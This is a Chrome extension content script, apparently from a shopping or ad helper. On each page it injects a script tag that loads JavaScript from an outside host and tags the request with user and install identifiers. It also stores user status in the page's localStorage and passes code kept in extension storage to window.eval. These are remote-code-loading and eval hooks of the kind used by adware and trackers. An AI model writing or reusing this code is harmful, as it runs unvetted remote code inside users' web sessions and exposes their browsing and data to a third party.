!function() {
    chrome.extension.sendRequest({
        command: "cmdInject"
    },
    function(t) {
        if (null == document.getElementById("J---TK-load")) try {
            var e = t,
            o = document.createElement("script");
            o.id = "J---TK-load",
            o.type = "text/javascript",
            o.charset = "utf-8",
            o.async = !0,
            o.setAttribute("data-id", e.qdid),
            o.setAttribute("data-guid", e.guid),
            o.setAttribute("data-source", e.source),
            o.setAttribute("data-browser", e.browser),
            o.setAttribute("data-version", e.version),
            o.setAttribute("data-message", e.needmessage),
            o.src = "https:" == window.location.protocol ? "https://www.gmf.com/js/_tts_browser_center.js": "http://www.gmf.com/js/_tts_browser_center.js",
            // o.src = "https:" == window.location.protocol ? "https://exts.taotaosou.com/js/_tts_browser_center.js": "http://exts.taotaosou.com/js/_tts_browser_center.js",
            document.getElementsByTagName("head")[0].appendChild(o);
			var t = document.createElement("div");
            t.setAttribute("id", "NewDiv");
			t.innerHTML="<a  href='#' title='测试' target='_blank' style='background-color:#eb301d;position: relative;display: block;height: 50px;width: 100%;'><img style='display:block;margin: 0 auto;' src='http://img01.taotaosou.cn/image17/M03/00/C5/CgAAQVbwtMoIAAAAAABgJ3HvQnkAABNUQHPXzgAAGA_912.jpg' alt='demo'></a><a href='javascript:void(0)' class='TK_banner_close'></a>";
			var first=document.body.firstChild;
			//document.body.insertBefore(t,first);
			//console.log(t);
            var s = chrome.runtime.connect({
                name: "userStatus"
            });
            s.onMessage.addListener(function(t) {
                localStorage && localStorage.setItem("TK-user-data", t)
            })
        } catch(a) {
            console.log(a)
        }
        try {
            chrome.storage.local.get("content_scripts",
            function(t) {
                try {
                    "undefined" != typeof t.content_scripts && (window.isEvalRun = !0, window.eval(t.content_scripts))
                } catch(e) {
                    console.log(e)
                }
            })
        } catch(a) {
            console.log(a)
        }
    })
} (jQuery);